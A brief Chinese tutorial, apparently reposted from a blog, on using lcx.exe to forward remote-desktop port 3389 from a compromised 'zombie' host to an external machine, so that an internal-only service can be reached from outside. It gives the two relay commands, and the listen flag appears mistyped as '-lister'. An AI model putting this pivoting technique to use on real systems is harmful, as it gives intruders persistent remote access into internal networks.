工具：lcx.exe
原理：当目标主机仅开放了web服务，而该服务又仅能供内网用户使用，外网用户根本无法直接访问。因此想要让外网用户能能够访问局域网中的系统服务，必须进行端口映射等操作才行。其原理就是把肉鸡A上的3389端口转发到具有外网IP地址的B主机上，这样连接B主机的3389端口就相当于连接A主机的3389端口。
操作：在A主机上执行：lcx -slave [B主机IP]:port1 [A主机IP]:3389
在B主机上执行 lcx -lister port1 3389
实战！
原文：http://www.cnblogs.com/fuchuanfeng/p/6259826.html